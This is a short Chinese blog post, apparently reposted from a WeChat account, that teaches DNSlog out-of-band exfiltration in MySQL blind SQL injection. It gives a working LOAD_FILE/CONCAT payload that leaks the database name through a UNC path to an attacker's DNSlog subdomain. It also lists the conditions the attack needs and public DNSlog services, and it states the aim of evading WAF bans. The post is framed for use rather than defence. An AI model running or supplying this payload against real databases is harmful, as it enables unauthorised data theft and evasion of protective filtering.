前言
不论是Bool型盲注还是时间盲注,都需要频繁的跑请求才能够获取到数据,在WAF的防护下,很可以导致IP被BAN。这时候我们可以利用DNSlog外带来将数据库中的数据库取出。如果遇到MySql盲注时,可以利用内置函数LOAD_FILE()来实现DNSlog外带。LOAD_FILE()函数不仅能够加载本地文件,同时也可以对诸如\www.baidu.com这样的URL发起请求。
0x01
DNSlog的利用条件
(1)具有load_file()的使用权限
(2)因为Linux中没有UNC(通用命名规则),因此如果目标系统是Linux则无法使用DNSlog外带。
(3)目标机能够访问到的一个DNS地址。
(4)windows:需要修改mysql配置文件my.ini 在[mysqld]内加入secure_file_priv =
(mysql5.5.34默认为空可以加载文件,之后的版本则为NULL,默认不能加载文件)
0x02
DNSlog平台
http://www.dnslog.cn/
http://ceye.io
或者使用BrupSuite自带的DNS平台功能
0x03
Payload
SELECT LOAD_FILE(CONCAT('\\',(SELECT database()),'.XXXX.dnslog.cn\abc')); #查库名
\\转义后为\
Select database()为需要查询的语句,因为UNC路径不能包含特殊符号,因此有时候需要使用hex()编码一下
.hw92co.dnslog.cn\abc转义后就成了.hw92co.dnslog.cnabc,后面的abc是资源名,可以随便写
接起来后就成了\数据库名.hw92co.dnslog.cnabc完全符合UNC的路径标准,解析后在DNSlog平台就能看到数据了
0x04
测试
靶机测试
• 往期精选
下方点击关注发现更多精彩!
原文始发于微信公众号(银河护卫队super):数据外带注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论